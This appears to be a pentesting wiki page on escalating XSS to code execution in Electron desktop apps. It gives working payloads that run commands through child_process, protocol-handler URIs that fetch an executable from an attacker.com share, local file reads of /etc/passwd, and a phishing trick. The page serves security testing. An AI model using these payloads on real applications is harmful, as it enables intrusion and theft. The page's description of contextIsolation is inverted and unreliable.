# XSS to RCE Electron Desktop Apps

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## Introduction

Electron is **based on Chromium**, but it is not a browser. Certain principles and security mechanisms implemented by modern browsers are not in place.\
You could see Electron like a local backend+frontend app where **NodeJS** is the **backend** and **chromium** is the **frontend**.

Usually you might find the electron app ode inside a .asar application, in order to obtain the code you need to extract it:

```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```

In the source code of an Electron app, inside the `packet.json` you can find specified the `main.js` file where security configs ad set.

```json
{
  "name": "standard-notes",
  "main": "./app/index.js",
```

Electron has 2 process types:

* Main Process (has complete access to NodeJS)
* Renderer Process (should have NodeJS restricted access for security reasons)

![](<../../../.gitbook/assets/image (307) (5) (1).png>)

A **renderer process** will be a browser window loading a file:

```javascript
const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
```

Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.

The desktop application might have access to the user’s device through Node APIs. The following two configurations are responsible for providing mechanisms to **prevent the application JavaScript from having direct access to the user’s device** and system level commands.

* **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
* **`contextIsolation`** - is `on` by default. If on, main and renderer processes aren't isolated.
* **`preload`** - empty by default.
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.

Example of configuration:

```javascript
const mainWindowOptions = {
  title: 'Discord',
  backgroundColor: getBackgroundColor(),
  width: DEFAULT_WIDTH,
  height: DEFAULT_HEIGHT,
  minWidth: MIN_WIDTH,
  minHeight: MIN_HEIGHT,
  transparent: false,
  frame: false,
  resizable: true,
  show: isVisible,
  webPreferences: {
    blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
    nodeIntegration: false,
    contextIsolation: false
    preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
    nativeWindowOpen: true,
    enableRemoteModule: false,
    spellcheck: true
  }
};
```

Some **RCE payloads** from [here](https://7as.es/electron/nodeIntegration\_rce.txt):

```html
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());"> 

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());"> 
<img src=x onerror="alert(require('child_process').execSync('id').toString());"> 
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());"> 
```

### Capture traffic

Modify the start-main configuration and add the use of a proxy such as:

```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```

## RCE: XSS + nodeIntegration

If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:

```html
<script>
  require('child_process').exec('calc');
</script>
```

## RCE: preload

The script indicated in this setting is l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**:

```javascript
new BrowserWindow{
  webPreferences: {
    nodeIntegration: false,
    preload: _path2.default.join(__dirname, 'perload.js'),
  }
});
```

Therefore, the script can export node-features to pages:

{% code title="preload.js" %}
```javascript
typeof require === 'function';
window.runCalc = function(){
    require('child_process').exec('calc')
};
```
{% endcode %}

{% code title="index.html" %}
```html
<body>
    <script>
        typeof require === 'undefined';
        runCalc();
    </script>
</body>
```
{% endcode %}

{% hint style="info" %}
**If `contextIsolation` is on, this won't work**
{% endhint %}

## RCE: XSS + contextIsolation

The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.

If the contexts aren't isolated an attacker can:

1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
3. **Trigger** the use of **overwritten function**
4. RCE?

There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:

{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
{% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-electron-internal-code.md" %}
[electron-contextisolation-rce-via-electron-internal-code.md](electron-contextisolation-rce-via-electron-internal-code.md)
{% endcontent-ref %}

{% content-ref url="electron-contextisolation-rce-via-ipc.md" %}
[electron-contextisolation-rce-via-ipc.md](electron-contextisolation-rce-via-ipc.md)
{% endcontent-ref %}

### Bypass click event

If there are restrictions applied when you click a link you might be able to bypass them **doing a middle click** instead of a regular left click

```javascript
window.addEventListener('click', (e) => { 
```

## RCE via shell.openExternal

If the Electron desktop application is deployed with proper `nodeIntegration`, `contextIsolation` settings; it simply means that **client-side RCE by targeting preload scripts or Electron native code from the main process can not be achieved**.

Each time a user clicks the link or opens a new window, the following event listeners are invoked:

```
webContents.on("new-window", function (event, url, disposition, options) {}webContents.on("will-navigate", function (event, url) {}
```

The desktop application **overrides these listeners** to implement the desktop application’s own **business logic**. During the creation of new windows, the application checks whether the navigated link should be opened in a desktop application’s window or tab, or whether it should be opened in the web browser. In our example the verification is implemented with the function `openInternally`, if it returns `false`, the application will assume that the link should be opened in the web browser using the `shell.openExternal` function.

**Here is a simplified pseudocode:**

![](<../../../.gitbook/assets/image (638) (2) (1) (1).png>)

![](<../../../.gitbook/assets/image (620).png>)

Accordingly to Electron JS security best practices, the `openExternal` function **should not accept untrusted content** **because that could lead to RCE abusing different potocols** if the application does not limit users navigation through protocols such as https:// or http://.

Different OS support different protocols that could trigger RCE, for more info about them check [https://positive.security/blog/url-open-rce](https://positive.security/blog/url-open-rce#windows-10-19042) but here you have some Windows examples:

```html
<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>


<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%[5Cattacker.com](<http://5cattacker.com/>)%5Csmb_share%5Ctools&displayname=Important%20update")
</script>


<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>
```

For more info about this examples check [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) and [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)

## Read Internal Files: XSS + contextIsolation

If `contextIsolation` set to false you can try to use \<webview> (similar to \<iframe> but can load local files) to read local files and exfiltrate them: using something like **\<webview src=”file:///etc/passwd”>\</webview>:**

![](<../../../.gitbook/assets/1 u1jdRYuWAEVwJmf\_F2ttJg.png>)

Another way to **read an internal file** from this [**writeup**](https://bugcrowd.com/disclosures/f7ce8504-0152-483b-bbf3-fb9b759f9f89/critical-local-file-read-in-electron-desktop-app):

```html
<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
    function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>
```

## **RCE: XSS + Old Chromium**

If the **chromium** used by the application is **old** and there are **known** **vulnerabilities** on it, it might be possible to to **exploit it and obtain RCE through a XSS**.\
You can see an example in this **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)

## **XSS Phishing via Internal URL regex bypass**

Supposing you found a XSS but you **cannot trigger RCE or steal internal files** you could try to use it to **steal credentials via phishing**.

First of all you need to know what happen when you try to open a new URL, checking the JS code in the front-end:

```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)
```

The call to \*\* `openInternally`\*\* will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.

In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:

```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```

## **Tools**

* [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
* \*\*\*\*[**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries

## Labs

In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) you can find a lab to exploit vulnerable Electron apps.

Some commands that will help you will the lab:

```bash
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
```

## **References**

* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
* More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)

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